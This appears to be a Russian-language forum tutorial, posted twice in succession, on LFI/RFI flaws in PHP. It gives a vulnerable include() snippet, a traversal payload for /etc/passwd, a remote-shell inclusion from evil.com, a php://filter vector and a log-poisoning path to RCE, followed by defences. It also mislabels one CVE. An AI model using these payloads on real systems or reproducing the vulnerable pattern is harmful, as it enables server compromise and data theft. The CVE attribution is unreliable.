- Регистрация
- 13 Июн 2025
- Сообщения
- 26
- Реакции
- 1
- Баллы
- 3
Что такое LFI/RFI?
LFI (Local File Inclusion) и RFI (Remote File Inclusion) — уязвимости, позволяющие включать произвольные файлы в веб-приложение:
• LFI - локальные файлы сервера
• RFI - внешние файлы по URL
Как работает уязвимость?
Когда приложение динамически подключает файлы без должной проверки:
Уязвимый PHP-код:
Атаки:
1. LFI:
2. RFI:
Чем опасны LFI/RFI?
• Чтение конфиденциальных данных (пароли, логины)
• Получение RCE через:
- Логи (log poisoning)
- Загрузку PHP-шеллов (RFI)
- /proc/self/environ
• Обход аутентификации
Как обнаружить?
1. Ищите параметры типа:
?page=, ?file=, ?load=, ?path=
2. Попробуйте базовые векторы:
-
-
3. Проверьте RFI (если allow_url_include=On)
Эволюция атак LFI→RCE
1. Чтение файлов: /etc/passwd
2. Чтение кода: php://filter
3. Внедрение в логи: /var/log/apache2/access.log
4. Выполнение кода: через User-Agent
Методы защиты
• Отключить allow_url_include
• Использовать белые списки для инклюдов
• Запретить null-byte (%00)
• Хранить файлы вне корневой директории
Реальные примеры (CVE)
• CVE-2019-11043 — LFI в PHP-FPM
• CVE-2018-9206 — RFI в jQuery File Upload
• Уязвимости в старых CMS (Joomla, WordPress)
Важно: Всегда тестируйте только с разрешения владельца системы![/b]
LFI (Local File Inclusion) и RFI (Remote File Inclusion) — уязвимости, позволяющие включать произвольные файлы в веб-приложение:
• LFI - локальные файлы сервера
• RFI - внешние файлы по URL
Как работает уязвимость?
Когда приложение динамически подключает файлы без должной проверки:
Уязвимый PHP-код:
Код:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
Атаки:
1. LFI:
Код:
?page=../../../../etc/passwd%00
Код:
?page=http://evil.com/shell.txt
Чем опасны LFI/RFI?
• Чтение конфиденциальных данных (пароли, логины)
• Получение RCE через:
- Логи (log poisoning)
- Загрузку PHP-шеллов (RFI)
- /proc/self/environ
• Обход аутентификации
Как обнаружить?
1. Ищите параметры типа:
?page=, ?file=, ?load=, ?path=
2. Попробуйте базовые векторы:
-
Код:
../../../../etc/passwd
Код:
php://filter/convert.base64-encode/resource=index.php
Эволюция атак LFI→RCE
1. Чтение файлов: /etc/passwd
2. Чтение кода: php://filter
3. Внедрение в логи: /var/log/apache2/access.log
4. Выполнение кода: через User-Agent
Методы защиты
• Отключить allow_url_include
• Использовать белые списки для инклюдов
• Запретить null-byte (%00)
• Хранить файлы вне корневой директории
Реальные примеры (CVE)
• CVE-2019-11043 — LFI в PHP-FPM
• CVE-2018-9206 — RFI в jQuery File Upload
• Уязвимости в старых CMS (Joomla, WordPress)
Важно: Всегда тестируйте только с разрешения владельца системы![/b]